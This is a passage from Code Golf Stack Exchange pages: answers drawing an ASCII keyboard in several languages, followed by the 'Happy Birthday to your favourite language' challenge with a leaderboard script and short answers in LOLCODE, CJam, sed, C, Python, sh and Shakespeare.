<http://textmechanic.com/text-tools/basic-text-tools/count-characters-words-lines/> with the "Count line breaks as spaces." set to on, it occupies ~~505~~ ~~496~~ ~~452~~ ~~451~~ ~~439~~ ~~403~~ ~~401~~ ~~396~~ ~~391~~ ~~388~~ ~~385~~ ~~384~~ ~~382~~ ~~379~~ ~~378~~ ~~377~~ ~~369~~ **368** ``` proc N x {split $x @} proc M a\ b {string map $a $b} regsub -all \[^@|] [set b [M [N {||||@|||@$@BS @%@TAB @&@CAPS @? @ENTER @*@SHIFT }] [regsub -all {[^@]} "`1234567890-=$@%QWERTYUIOP\[\]\\@&ASDFGHJKL;'?@*ZXCVBNM,./*" {||& ||}]]] _ f lmap x [N [M {\\ _ / _ | \ } [set g [M {||_ |/_ _|| _\\|} [M {||| \\|/} $f]]]]] y [N $b] z [N $f] w [N $g] {puts "$x $y $z $w"} ``` Demo: <http://rextester.com/live/NTVAV88033> The ungolf: Live cooperation on <http://rextester.com/live/UDO43692> ``` regsub -all {(\S)} "`1234567890-=‚Üê\n%QWERTYUIOP\[\]\\\n‚á©ASDFGHJKL;'‚ܵ\n‚áßZXCVBNM,./‚áß" {||\1 ||} b set b [string map {|||| ||| ‚Üê "BS " % "TAB " ‚á© "CAPS " ‚ܵ "ENTER" ‚áß "SHIFT "} $b] regsub -all {[^\n|]} $b _ f set g [string map {||| \\|/} $f] set g [string map {||_ |/_ _|| _\\|} $g] set h [string map {\\ _ / _ | " "} $g] set H [split $h \n] set B [split $b \n] set F [split $f \n] set G [split $g \n] lmap x $H y $B z $F w $G { puts $x puts $y puts $z puts $w } ``` Anyone is free and welcome to improve my version on live cooperation sites, but please: do not edit my original answer here; just say you've edited in the comments and people will visit the links. **UPDATE 1:** Replaced `for` by `foreach`, because latter produces shorter code **UPDATE 2:** Replaced `foreach` by `lmap`, because latter produces shorter code **UPDATE 3:** Shaved one char because I Replaced `" "` by `\` **UPDATE 4:** In respect to first comment, I changed all the 1st line 2 byte Unicode place holder characters to 1 byte ASCII ones **UPDATE 5:** multiple `puts` line made into only one **UPDATE 6:** use directly `split` commands return values on the `lmap` call instead of using intermediate list variables **UPDATE 7:** Quotes around `ENTER` were not needed **UPDATE 8:** `string map` is long enough and repeated a number of times that it is worth to encapsulate it in a `proc` **UPDATE 9:** `split $x \n` is long enough and repeated a number of times that it is worth to encapsulate it in a `proc` **UPDATE 10:** On "replacement" string can use `&` instead of `\1`, because in this case both coincide; another consequence of this is it allows to get rid of `()`on the "matching" string. **UPDATE 11:** Use `@` instead of `\n`as line separator for further use on `split` instructions. Although the "match" string lengthens from `\S` to `[^@]` it pays off , due to number of repetitions **UPDATE 12:** Replaced the first `regsub` "match" string `{[^@|]}` by`\[^@|]` to shave one character off. Unfortunately, could not do the same to the second `regsub`, because the instruction is inside a pair of `[]` :( **UPDATE 13:** Shaved two Enter characters by concentrating the `lmap` body with its own heading. **UPDATE 14:** Used a call to the `split` based procedure `N` instead of a direct call to the `string map` based procedure `N` which allows to shorten by 3 characters **UPDATE 15:** There was an unneeded space character. Removed it to shave one char off. **UPDATE 16:** `set h` can be embedded to get rid of `$h`, to shave one character off. **UPDATE 17:** `set h` statement can really be shaved off. **UPDATE 18:** `puts` argument changed from the `...\n...\n...\n...` format to the ``` "... ... ... ..." ``` format. Thanks to people that helped me to shorten it, especially evilotto and aspect of the tcl IRC channel! [Answer] ## tcl, 369 Initially based in tcl's sergiol version. (Note that many left spaces are part of tcl's "nature") ``` lmap z {S R M} w {set "regsub -all" "string map"} {interp alias {} $z {} {*}$w};lmap x {"`1234567890-=¬øBS ¬ø" "¬øTAB ¬øQWERTYUIOP\[\]\\" "¬øCAPS ¬øASDFGHJKL;'¬øENTER¬ø" "¬øSHIFT ¬øZXCVBNM,./¬øSHIFT ¬ø"} {S h [M {\\ _ / _ | \ } [S g [M {||_ |/_ _|| _\\|} [M {||| \\|/} [S f [R {[^\n|]} [S b [M {|||| |||} [R {¬ø(\S+\s*)¬ø|(.)} $x {||\1\2 ||}]]] _ ]]]]]];puts $h\n$b\n$f\n$g} ``` [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~378~~ ~~342~~ ~~330~~ 327 bytes -10 -3 bytes thanks to ceilingcat. A first stab at it. The repeated g()'s suggests room for improvement. Edit: There we go. ``` char*k[]={"eZXCVBNM,./e","cASDFGHJKL;'d","bQWERTYUIOP[]\\","`1234567890-=a","BS","TAB","CAPS","ENTER","SHIFT"},*s;f(w,i,j){for(i=16;i--;puts(""))for(s=k[i/4],j=i%4;*s;printf("%s%s%-*.*s%.2s",L" |"+(s++-k[i/4]?2:j<3),L"/||"+j,w,i&2?j^3?w>2?w:1:w+2:w,j^2?"___________":w>2?k[*s-93]:s,"\\||||| "+j*2))w=*s>96?"FFGFI"[*s-97]-64:2;} ``` [Try it online!](https://tio.run/##RU/bTsJAEP0VMgm62@6CbGuR1tIAUkBREeq1LYoVdEtEwmL6AHw7TvXBmWQmc86cuST8PUn2@@RjstLmYexuYPr00LprXl2yUnkKDJLG6MzvdM8v@s7hG9avN/ftYfB427sehHEUIfJSEYZ5bFVPakfcnSDQHGEIGk2MrcYgL9pXQXuIedTt@QHsmKacGcmYZCndzL5WRLoVy5GcO8vvtSIAlOaocuehLJsxS11ZNB0ULVdysZ4RKCp0rpU0VSwJBawPhS3oROk6/5N4wk5PDYpEeYtMynDZgfDSseFldeFldsXOdGFnLB0LD57/Deycn4ea4jUjthWDKNrmVsApmqA0czVVr1ke@H7H78FvYzXmlmkLZ7fH8wqfE7kg@BehCPwA "C (gcc) ‚Äì Try It Online") [Answer] # Python 2, 672 bytes Using a compressed zlib string: ``` print 'x\x9c\xad\xd3\xb9\x0e\x82@\x10\x80\xe1\x9e\xa7\xa0\xb3\xf1\xbe\x8d\xb1\x00\xbc\x0f<\xc0\x1b\xb3>\xc8<\xbc\xfc\x8bf\x8d\xed8\xc5\x17\x9a\xddd\xfe,\xbe\xc9\xc7\xd7b?<\x91\xa7/"\rhB\x0b\xda\xd0\x81.\xf4\xa0\x0f\x03\xa8C\x05F\x10&~>"\xf9]\xc6\x88\x16\x86\xbbj\xc6dZ\x98L<\xb7\xae\x9a|\xc74\x08\xed\xba\xb2\x873L\xe0\x00)\\\xe1\x08\x0b\xd8\xc2\x0e\xee\xf0\x80\xec\xd3\xabXW\x1d\xces\xeb\xaa\xc3\xb9^\x7fy_Q\xb0K\x8a`\x01$0\x86)\xcc`\x0eKX\xc1\x1a\x86P\xb2u\xe3tr\xf8\xee\xf5\xaf\xf7\xa5\x0e\xf6\xfb\xbet\xb1\xde\xbd\x92\xf9b\x9a\x16\x7f\x94\xdc\xe0\x02\x11\x9c\xec\xef\x061l\xa0\x0cU\xa8\xd9\xbc\xee\xb4\xeb\xa5\x8a\xf5\xd3K\x15\xcb\x9e~\x01r\xfc\xb9\xee'.decode('zlib') ``` [Answer] ## Mathematica 323 bytes ``` Uncompress@"1:eJyt00luwjAUgGE2vUdYsWGeEeoiUGYIEKcTTWXEBXqBd3jy26CUYWe/xads8iT/sounv1gFL4VCoLNxxnyk9UZT5BiISAOa0II2dKALPejDAOpQgVcYqSAbEbtOa3GFuayraZ2mPmWyL5bnIZyxR0/CkQkhe/iECcSQwDe8wwK2sIMf+IV/IW0H56LXkJej+016E9LXlRyHO2VLhqDgDaYwgzksYQVrGELJZI+SSXxX0uOV9Jry2Y10q5iHVPPFNLGvUw7wBWP4ME8XIthAGapQM93zv29COlV8DOkrol10BmvF28U=" ``` Boring and uncreative. The string is just the output of the built-in `Compress` command applied to the desired output. [Answer] # Powershell, ~~249~~ 242 bytes ``` "``1234567890-=Bs Tab QWERTYUIOP[]\ Caps ASDFGHJKL;'Enter Shift ZXCVBNM,./Shift "-split' '|%{($u=($r=,''+($_-csplit'(.[a-z ]*)'-ne''|% t*per)+'')-replace'.','_')-join'__ _' $r-join' |||' $u-join'_|||' $u-join'_\|/'}|%{-join$_[2..76]} ``` ## Ungolfed & Explained The middot `¬∑` uses instead spaces to to clarify the source string. ``` "``1234567890-=Bs¬∑¬∑¬∑ Tab¬∑¬∑QWERTYUIOP[]\ Caps¬∑¬∑ASDFGHJKL;'Enter Shift¬∑¬∑¬∑ZXCVBNM,./Shift¬∑¬∑¬∑"-split"`n"|%{ # split the string with rows by new line $r=,''+($_-csplit'(.[a-z ]*)'-ne''|% t*per)+'' # split each row by key labels (any char plus small letters or spaces), 't*per' is shortcut for toUpper method $u=$r-replace'.','_' # replace any char to _ to take an upper $u-join'__ _' # join labels and push 4 strings to pipe $r-join' |||' $u-join'_|||' $u-join'_\|/' }|%{ -join$_[2..76] # return substring for each string } # $r = # ["","`","1","2","3","4","5","6","7","8","9","0","-","=","BS ",""] # ["","TAB ","Q","W","E","R","T","Y","U","I","O","P","[","]","\",""] # ["","CAPS ","A","S","D","F","G","H","J","K","L",";","'","ENTER",""] # ["","SHIFT ","Z","X","C","V","B","N","M",",",".","/","SHIFT ",""] # $u = # ["","_","_","_","_","_","_","_","_","_","_","_","_","_","_____",""] # ["","_____","_","_","_","_","_","_","_","_","_","_","_","_","_",""] # ["","______","_","_","_","_","_","_","_","_","_","_","_","_____",""] # ["","________","_","_","_","_","_","_","_","_","_","_","________",""] # before substring: # __ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ _ # |||` |||1 |||2 |||3 |||4 |||5 |||6 |||7 |||8 |||9 |||0 |||- |||= |||BS ||| # _|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______||| # _\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\|/ # __ ________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ _ # |||TAB |||Q |||W |||E |||R |||T |||Y |||U |||I |||O |||P |||[ |||] |||\ ||| # _|||______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||| # _\|/______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/ # __ _________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ _ # |||CAPS |||A |||S |||D |||F |||G |||H |||J |||K |||L |||; |||' |||ENTER ||| # _|||_______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______||| # _\|/_______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\|/ # __ ___________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ___________ _ # |||SHIFT |||Z |||X |||C |||V |||B |||N |||M |||, |||. |||/ |||SHIFT ||| # _|||_________|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||_________||| # _\|/_________\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_________\|/ # final output: # ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ # ||` |||1 |||2 |||3 |||4 |||5 |||6 |||7 |||8 |||9 |||0 |||- |||= |||BS || # ||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______|| # |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\| # ________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ # ||TAB |||Q |||W |||E |||R |||T |||Y |||U |||I |||O |||P |||[ |||] |||\ || # ||______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|| # |/______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| # _________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ # ||CAPS |||A |||S |||D |||F |||G |||H |||J |||K |||L |||; |||' |||ENTER || # ||_______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______|| # |/_______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\| # ___________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ___________ # ||SHIFT |||Z |||X |||C |||V |||B |||N |||M |||, |||. |||/ |||SHIFT || # ||_________|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||_________|| # |/_________\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_________\| ``` --- ## Extra: keyboard with a space bar & right aligned labels, 278 bytes I've added a couple of bytes to the regular expression to handle the space bar (old regexp `(.[a-z ]*)`, new one `~|(.[a-z ]*)`). That's one small step for the regexp, one giant leap for the solution: you can now display space bar and key labels aligned to the right (see SHIFT, CTRL and BS on the right side of the keyboard). ``` "``1234567890-=~ bs Tab QWERTYUIOP[]\ Caps ASDFGHJKL;'Enter Shift ZXCVBNM,./~ shift Ctrl Alt ~$(' '*34)Alt ~ ctrl"-split' '|%{($u=($r=,''+($_-csplit'~|(.[a-z ]*)'-ne''|% t*per)+'')-replace'.','_')-join'__ _' $r-join' |||' $u-join'_|||' $u-join'_\|/'}|%{-join$_[2..76]} ``` Output: ``` ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ ||` |||1 |||2 |||3 |||4 |||5 |||6 |||7 |||8 |||9 |||0 |||- |||= ||| BS || ||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______|| |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\| ________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ||TAB |||Q |||W |||E |||R |||T |||Y |||U |||I |||O |||P |||[ |||] |||\ || ||______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|| |/______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| _________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ ||CAPS |||A |||S |||D |||F |||G |||H |||J |||K |||L |||; |||' |||ENTER || ||_______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______|| |/_______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\| ___________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ___________ ||SHIFT |||Z |||X |||C |||V |||B |||N |||M |||, |||. |||/ ||| SHIFT || ||_________|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||_________|| |/_________\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_________\| _________ _______ _____________________________________ _______ _________ ||CTRL |||ALT ||| |||ALT ||| CTRL || ||_______|||_____|||___________________________________|||_____|||_______|| |/_______\|/_____\|/___________________________________\|/_____\|/_______\| ``` [Answer] # [///](https://esolangs.org/wiki////), 360 bytes ``` /f/!!//e/SHIFT //d/\/\///c/ "db/ \|\|da/\\\|d@/#####d?/__d>/?\\\\a c"d</aa ad:/fffff!d&/ccccd%/ aaad#/?aaa?aaad"/??d!/?\\\\a\\\d&&&cc"b`%1%2%3%4%5%6%7%8%9%0%-%=%BS <|@#?|||"?<\/:f">&&&cbTAB %Q%W%E%R%T%Y%U%I%O%P%[%]%\\ <|"@#?|||?<\/":f>_&&&"bCAPS %A%S%D%F%G%H%J%K%L%;%'%ENTER <|"_@#"?<\/"_:!">?_&&ccc"?_be%Z%X%C%V%B%N%M%,%.%\/%e <|""_|||@""_<\/"?_:""_\a ``` [Try it online!](https://tio.run/##LY5JT8NADIXv/RUTRy9cALMvoWTSlZallDbsg4ZJnIgDt17z38MM8CzrWZY@P2@@3ear3nQdNxxFzDWvZ/NpoZRiFja@mCtWJCWrnmlNK46N8ZZzHCSarZWMtV8a16tI@uxcz0nKTVAkCVdeAlbOOYlZewstxFpL9E/6liRJqorKT@zjAIc4wjFOcIoznGMPO7jEcO3/Uv02j3XbtqT7htOGssCVxWCoFB7wjAlWKPCKR8xxjyXe8QFjPEZ/XMAobTLrOSpHg6W/igHWGGOKK8xwjRvc4gJbmCyKySqQNo9/48imEWXahk8r0ras8YYXjPCEIRa4wzZ2YRh1gMj6tNxbALVN/WRc1/0A "/// ‚Äì Try It Online") [Answer] # [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), 293 bytes ``` c=##&@@(#|2&/@Characters@#)& r=StringRiffle p=StringPadRight Print/@{j=p["",#2,"_"]&@@@#;(" __"<>#&/@j)<>" ",r[p@@@#,i={l="||","|||",l}],j~r~i,j~r~{"|/","\|/","\|"}}&/@{{c@"`1234567890-=","BS"|6},{"TAB"|6,c@"QWERTYUIOP[]\\"},{"CAPS"|7,c@"ASDFGHJKL;'","ENTER"|6},{h="SHIFT"|9,c@"ZXCVBNM,./",h}} ``` [Try it online!](https://tio.run/##LY5dT4NAEEXf@RXNbIJtsoqitjbtNkuR2vpREfATCBKkBUINQd5Y@tdx0L6czOTcuZldWCXxLqzSKGzbiBEic94nQpUVridhGUZVXP5wMpClktlVmX5vrXSzyWOpOKxm@GWl26SSTNwqhdcZK1wASlQKAfhYx8mkD70ggOmMYG02mM6gB7R0i87RlNU5AyGAIpB549NsX@7TP9YgFDTegdA0WFHXEYfPM/X84nI4uhqfHjOUcxvEsKE1ONocJ4qRp1fDct6fV4@m63sedFLXTMyNOqvZ14ub5e3d/eQIz421Y1j/DQkDe7laOCDGXe7jTX@Zrx/oCb6QNE3b/gI "Wolfram Language (Mathematica) ‚Äì Try It Online") Relatively straightforward: encodes rows of keys as lists of `*(key name)*|*(key width)*` ``` c=##&@@(#|2&/@Characters@#)& (*converts a string into (key)|2 s*) r=StringRiffle p=StringPadRight Print/@ {j=p["",#2,"_"]&@@@#; (" __"<>#&/@j)<>" ", (*top of the keys*) r[p@@@#,i={l="||","|||",l}], (*key names*) j~r~i, (*space under key names*) j~r~{"|/","\|/","\|"} (*bottom of the keys*) } &/@ { {c@"`1234567890-=","BS"|6}, {"TAB"|6,c@"QWERTYUIOP[]\\"}, {"CAPS"|7,c@"ASDFGHJKL;'","ENTER"|6}, {h="SHIFT"|9,c@"ZXCVBNM,./",h} } ``` [Answer] # [Perl 5](https://www.perl.org/) `-MList::Util=pairmap`, 313 bytes ``` pairmap{$_=$b;s/\|{3}/|-|/g;y/-/_/c;y/-/ /;s/./ /;chop;say;$_=$b;for$r($a=~/./g){s/\| /|$r/}say;y/|/_/c;say;s,\|_,/_,g;s/_\|/_\\/g;say}"`1234567890-=",($;="|| |")x13 ."||BS ||","QWERTYUIOP[]\\",'||TAB |'.$;x13 .'|',"ASDFGHJKL;'","||CAPS |".$;x11 ."||ENTER ||","ZXCVBNM,./",($s='||SHIFT |').$;x10 ."$s|" ``` [Try it online!](https://tio.run/##LZBdT4MwFIb/CmmasCWFgogfa7hgk7npNudgftYgLjpJNiF0F5Id/Oli29mbtyfveZ9zcsr3auO3bZnl1TYr9zgN8BsTlMPeayhYQNesphZN6UqrQaVpK1l9FiUTWc0OkY@iwlUHZ8GPtNfdvUIYFHBFG9VUU9AM9ReEQ0poStaSlXJpcC7HSKtBr@6Rd@yfnJ6dO1aASAezAAEYBqDut@sZtiz6sSEfACLo9j5aJI/L8c38@YVzREyAJOwr17Qx0wETTILC@GJ4Obq6njBTpgAG4VxBAOkuV2OjWRItDtinh8FdfzYlNlUbiEBi49F4mOi5ZleHHBnCAlDb/hblLi@@RGtNfdtxHamTXOx6veUu3wT/h/0D "Perl 5 ‚Äì Try It Online") ]
[Question] [ Your favourite programming language has just had a birthday. Be nice and sing it the **Happy Birthday** song. Of course you should accomplish this by writing a program in that language. The program takes no input, and writes the following text to the standard output or an arbitrary file: ``` Happy Birthday to You Happy Birthday to You Happy Birthday Dear [your favourite programming language] Happy Birthday to You ``` You should substitute the bracketed part (and omit the brackets). This is a code golf — shortest code wins. ## UPDATE I'm glad that the question aroused great interest. Let me add some extra info about scoring. As stated originally, this question is a code golf, so the shortest code is going to win. The winner will be picked at the end of this week (19th October). However, I'm also rewarding other witty submissions with up-votes (and I encourage everybody to do so as well). Therefore although this is a code-golf contest, not-so-short answers are also welcome. ## Results Congratulations to [Optimizer](https://codegolf.stackexchange.com/users/31414/optimizer), the winner of this contest with his 42 byte long, CJam [submission](https://codegolf.stackexchange.com/a/39754/40695). ## Leaderboard Here is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language. ``` /* Configuration */ var QUESTION_ID = 39752; // Obtain this from the url // It will be like https://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 48934; // This should be the user ID of the challenge author. /* App */ var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; if (/<a/.test(lang)) lang = jQuery(lang).text(); languages[lang] = languages[lang] || {lang: a.language, user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang > b.lang) return 1; if (a.lang < b.lang) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } } ``` ``` body { text-align: left !important} #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 290px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] # LOLCODE: 109 (105 with "correct" spelling) LOLCODE is not a great language for golfing, especially since you lose all the beauty and expressiveness when shortening the code. ``` HAI H R "HAPPY BIRTHDAY " T R SMOOSH H "TO YOU" VISIBLE T VISIBLE T VISIBLE SMOOSH H "DEAR LOLCODE" VISIBLE T ``` [Test it using loljs](http://asgaard.co.uk/misc/loljs/) This is my preferred rendition, weighing in at 187 characters (spaces added for clarity): ``` HAI H R "HAPPY BERFDAY " IM IN YR LOOP UPPIN YR N TIL BOTH SAEM N AN 4 VISIBLE H! BOTH SAEM N AN 2, O RLY? YA RLY VISIBLE "DEER LOLCODE" NO WAI VISIBLE "2U" OIC IM OUTTA YR LOOP KTHXBAI ``` [Answer] # Mathematica- barcode birthday wishes--way too many bytes This prints the verses and reads them aloud. ![happy birthday](https://i.stack.imgur.com/BubfH.png) > > Happy Birthday to You > > Happy Birthday to You > > Happy Birthday Dear Mathematica > > Happy Birthday to You > > > `StringReplace` replaces each comma with a NewLine. Barcodes cannot contain control characters. [Answer] # TI-Basic, 53 bytes Well, since everyone is putting their favorite programming language up, I might as well add one of my old favorites. I spent a lot of time over the years (before I graduated to actual programming languages) typing commands into a window half the size of a smart phone. ``` "HAPPY BIRTHDAY TO YOU Disp Ans,Ans,sub(Ans,1,15)+"DEAR TI-BASIC Ans ``` My calculator doesn't support lowercase letters, and the only variables that can be strings are Str1, Str2 etc. [Answer] ## CJam, ~~46~~ [42](https://mothereff.in/byte-counter#%22Happy%20Birthday%20to%20You%0A%22%5F%5F%5FF%3C%22Dear%20CJam%0A%22%40) bytes ``` "Happy Birthday to You "___F<"Dear CJam "@ ``` **How it works:** ``` "Happy Birthday to You "___ "Push "Happy Birthday to You\n" string to stack 4 times"; F< "From the last string, take only first 15 characters. F is a"; "Dear CJam "preinitialized variable whose value is 15"; " "Push "Dear CJam\n" to stack"; @ "Take the third string from end and put it to end"; ``` This leaves the stack as following at the end of the code: ``` ["Happy Birthday to You " "Happy Birthday to You " "Happy Birthday " "Dear CJam " "Happy Birthday to You "] ``` which are printed automatically to output as ``` Happy Birthday to You Happy Birthday to You Happy Birthday Dear CJam Happy Birthday to You ``` [Try it here](http://cjam.aditsu.net/) (Copy the code and run it) [Answer] # Sed, ~~60~~ 55 bytes (1 character added because there is no way to make `sed` to work without input.) ``` s/^/Happy Birthday To You/ h G G G s/To You/Dear sed/3 ``` Certainly not a winner, posted to demonstrate `sed`'s rare `s///` feature of replacing just the *n*th occurrence. ``` bash-4.3$ sed 's/^/Happy Birthday To You/;h;G;G;G;s/To You/Dear sed/3' <<< '' Happy Birthday To You Happy Birthday To You Happy Birthday Dear sed Happy Birthday To You ``` ## Sed (shorter but not interesting): 52 characters ``` s/^/Happy Birthday To You/ h G p s/To You/Dear sed/ ``` Sample run: ``` bash-4.3$ sed 's/^/Happy Birthday To You/;h;G;p;s/To You/Dear sed/' <<< '' Happy Birthday To You Happy Birthday To You Happy Birthday Dear sed Happy Birthday To You ``` [Answer] # C, 73 bytes ``` main(c){for(;c-5;)printf("Happy Birthday %s\n",++c-4?"To You":"Dear C");} ``` [Answer] ## Python, ~~61~~ ~~60~~ 59 ``` H="\nHappy Birthday to You" print(H*3)[:60]+"Dear Python"+H ``` [Answer] # sh, 52 ``` H()(echo Happy Birthday ${@-to You});H;H;H Dear sh;H ``` [Answer] ## [Shakespeare Programming Language](https://en.wikipedia.org/wiki/Shakespeare_%28programming_language%29), 3429 bytes > > no one is going to be demented enough to enter a [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") challenge with SPL, so... > > > My own words, a while ago. And yet, someone was demented enough to do it. Yes, yes, I know. Too much bytes. But SPL deserves to be included here, I think. And *believe* me, I've done a gargantuan effort to "golf" this program, which is why it's a bit repetitive and uses mostly the same words (I could always have followed [DLosc's suggestion](https://codegolf.stackexchange.com/questions/48855/tips-for-golfing-in-the-shakespeare-programming-language/48933#comment115846_48947), but that would be too extreme even for me). ``` A Happy Birth Day Ajax, a hero Ford, a man Act I: 1 Scene I: 1 [Enter Ajax and Ford] Ajax: You are nothing! Scene II: 2 Ford: Am I nicer than the sum of a big cow and a son? Ajax: If so, we shall go to Scene V. You are as big as the sum of thyself and a cat! Scene III: 3 Ford: You are as red as the sum of a big red warm rich bold fair cat and a big rich fine son. Speak thy mind! You are as big as the sum of thyself and the sum of a cute fair fine rich cat and a hog! Speak thy mind! You are as big as the sum of thyself and the sum of a cute fair fine rich cat and a hog. Speak thy mind. Speak thy mind! You are as bold as the sum of thyself and the sum of a big fine fair cat and a cow. Speak thy mind! You are as big as a red old fair fine tiny cow. Speak thy mind! You are as old as the sum of thyself and the sum of a red old fair fine tiny cow and a big joy. Speak thy mind. You are as red as the sum of thyself and the sum of the sum of a red old fair fine tiny cow and a rich old red sky and a pig. Speak thy mind! You are as old as the sum of thyself and the sum of a big fine fair joy and a son. Speak thy mind. You are as red as the sum of thyself and a cute son. Speak thy mind! You are as cute as the sum of thyself and 